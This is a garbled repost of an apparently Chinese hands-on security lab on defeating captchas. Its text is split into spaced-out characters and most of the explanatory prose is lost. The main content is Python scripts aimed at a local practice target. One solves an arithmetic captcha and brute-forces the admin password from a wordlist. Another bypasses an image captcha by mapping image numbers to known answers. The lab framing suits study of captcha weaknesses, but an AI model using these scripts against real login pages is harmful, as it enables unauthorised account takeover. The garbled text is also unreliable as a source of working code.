[19316] 2018-05-18_【动手实验】特殊验证码识别与利用

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2018-05-18_【动手实验】特殊验证码识别与利用 i   i   2 0 1 8 - 0 5 - 1 8 W i n d o w s   X P I P 1 7 2 . 1 6 . 1 1 . 2 b u r p s u i t e B u r p   S u i t e   w e b   P y t h o n  
G o o g l e R e C a p t c h a 1 2 3 0 6
M o z i l l a   F i r e f o x
L o g i n 使 b u r p 使 p y t h o n i m p o r t   r e q u e s t s i m p o r t   r e u r l = " h t t p : / / 1 2 7 . 0 . 0 . 1 / v u l n e r a b i l i t i e s / b u r t f o r c e / b f _ n u m b e r . p h p " s e s s i o n   =   r e q u e s t s . S e s s i o n ( )   / / r e q u e s t s s e s s i o n s e s s i o n c o o k i e s r e s p o n s e   =   s e s s i o n . g e t ( u r l )   / / s e s s i o n g e t c o o k i e s c a   =   r e . f i n d a l l ( r ' [ ( . * ? ) ] ' ,   r e s p o n s e . c o n t e n t )   / / 使 [ ] p r i n t   " " . j o i n ( c a ) . s p l i t ( " + " ) a   =   " " . j o i n ( c a ) . s p l i t ( " + " ) [ 0 ] / / + b   =   " " . j o i n ( c a ) . s p l i t ( " + " ) [ 1 ] c a p t c h a   =   s t r ( i n t ( a )   +   i n t ( b ) )   / / p r i n t   c a p t c h a 使 r e q u e s t r e a b c a p t c h a p y
便
# !   / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - #   _ _ a u t h o r _ _   =   " b o w u " #   w e b s i t e : " h t t p : / / w w w . b o w u 8 . c o m " #   D a t e :   2 0 1 8 / 4 / 1 i m p o r t   s y s i m p o r t   r e q u e s t s i m p o r t r e   u r l = " h t t p : / / 1 2 7 . 0 . 0 . 1 / v u l n e r a b i l i t i e s / b u r t f o r c e / b f _ n u m b e r . p h p " d e f   B r u t e _ F o r c e _ W e b ( p o s t D a t a ) :         r e s 1   =   s e s s i o n . p o s t ( u r l ,   p o s t D a t a )         p r i n t   r e s 1 . c o n t e n t         i f   " a d m i n "   i n   r e s 1 . c o n t e n t :   / / a d m i n                 p r i n t   ( " = " * 2 0   +   " n "   +   " C r a c k   S u c e s s ! " )                 p r i n t   ( " P a s s w o r d   i s : "   +   p a s s w d )                 e x i t ( )         e l s e :                 p r i n t   " T e s t   p a s s w o r d : " , p a s s w d , " i s   w r o n g " d e f   G e t P a s s ( ) :         f p   =   o p e n ( " p a s s w o r d . t x t " ,   " r " )   / /         i f   f p   = =   0 :                 p r i n t   ( " o p e n   f i l e   e r r o r ! " )                 r e t u r n         w h i l e   1 :                 g l o b a l   s e s s i o n                 s e s s i o n   =   r e q u e s t s . S e s s i o n ( )                 r e s p o n s e   =   s e s s i o n . g e t ( u r l )                 c a   =   r e . f i n d a l l ( r ' [ ( . * ? ) ] ' ,   r e s p o n s e . c o n t e n t )                 p r i n t   " " . j o i n ( c a ) . s p l i t ( " + " )                 a   =   " " . j o i n ( c a ) . s p l i t ( " + " ) [ 0 ]                 b   =   " " . j o i n ( c a ) . s p l i t ( " + " ) [ 1 ]                 c a p t c h a   =   s t r ( i n t ( a )   +   i n t ( b ) )                 p r i n t   c a p t c h a               l i n e   =   f p . r e a d l i n e ( )             i f   n o t   l i n e :       b r e a k                 g l o b a l   p a s s w d                 p a s s w d   =   l i n e . s t r i p ( ' n ' )                 p o s t D a t a   =   {                       ' u s e r n a m e ' :   ' a d m i n ' ,                       ' p a s s w o r d ' :   p a s s w d ,                       ' c a p t c h a ' : c a p t c h a ,                         ' s u b m i t ' :   ' L o g i n '                 }   / / p o s t                 B r u t e _ F o r c e _ W e b ( p o s t D a t a )   G e t P a s s ( ) C : D o c u m e n t s   a n d   S e t t i n g s i c h u n q i u p y t h o n 2 . p y 使 p y t h o n   2 . p y
3 1 0 < i m g s r c = ' . p n g ' < i m g   s r c = ' 8 . p n g ' 6 6 1 2 i m g
# !   / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - #   _ _ a u t h o r _ _   =   " b o w u " #   w e b s i t e : " h t t p : / / w w w . b o w u 8 . c o m " #   D a t e :   2 0 1 8 / 4 / 1 i m p o r t   s y s i m p o r t   r e q u e s t s i m p o r t   r e u r l = " h t t p : / / 1 2 7 . 0 . 0 . 1 / v u l n e r a b i l i t i e s / b u r t f o r c e / b f _ 1 0 . p h p " u r l 2 = " h t t p : / / 1 2 7 . 0 . 0 . 1 / v u l n e r a b i l i t i e s / b u r t f o r c e / v a l i d a t e . p h p " d e f   G e t P a s s ( ) :         w h i l e   1 :                 g l o b a l   s e s s i o n                 s e s s i o n   =   r e q u e s t s . S e s s i o n ( ) / / r e q u e s t s s e s s i o n s e s s i o n c o o k i e s                 r e s p o n s e   =   s e s s i o n . g e t ( u r l )                 c a   =   r e . f i n d a l l ( r ' < i m g   s r c = ' ( . * ? ) . p n g ' ,   r e s p o n s e . c o n t e n t )   / / 使 i m g s r c               i m a g e n u m b e r   =     " " . j o i n ( c a )                 i f   i m a g e n u m b e r   = =   ' 0 ' :                         a n s   =   " 1 9 8 7 "                 i f   i m a g e n u m b e r   = =   ' 1 ' :                       a n s   =   " 9 2 5 9 "                 i f   i m a g e n u m b e r   = =   ' 2 ' :                         a n s   =   " 5 8 0 3 "                 i f   i m a g e n u m b e r   = =   ' 3 ' :                         a n s   =   " 7 0 2 6 "               i f   i m a g e n u m b e r   = =   ' 4 ' :                         a n s   =   " 6 8 5 9 "                 i f   i m a g e n u m b e r   = =   ' 5 ' :                         a n s   =   " 2 2 2 4 "                 i f   i m a g e n u m b e r   = =   ' 6 ' :                         a n s   =   " 8 1 9 6 "                 i f   i m a g e n u m b e r   = =   ' 7 ' :                         a n s   =   " 9 9 2 7 "                 i f   i m a g e n u m b e r   = =   ' 8 ' :                         a n s   =   " 6 6 1 2 "                 i f   i m a g e n u m b e r   = =   ' 9 ' :                         a n s   =   " 7 3 4 2 "                 c a p t c h a   =     a n s                 p o s t D a t a   =   {                         ' c a p t c h a ' : c a p t c h a ,                         ' s u b m i t ' :   ' % E 6 % 8 F % 9 0 % E 4 % B A % A 4 '                 } / / p o s t                 r e s 1   =   s e s s i o n . p o s t ( u r l 2 ,   p o s t D a t a )               i f   " S u c c e s s "   i n   r e s 1 . c o n t e n t :                         p r i n t   ( " = "   *   2 0   +   " n "   +   " C r a c k   S u c e s s ! " )                         p r i n t   ( " c a p t c h a   i s : "   +   c a p t c h a ) / / S u c c e s s                         e x i t ( )                 e l s e :                         p r i n t   " T e s t   c a p t c h a   i s   w r o n g " G e t P a s s ( ) C : D o c u m e n t s   a n d   S e t t i n g s i c h u n q i u t o o l s 3 . p y 使 p y t h o n   3 . p y
使 p y t h o n M A D ~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则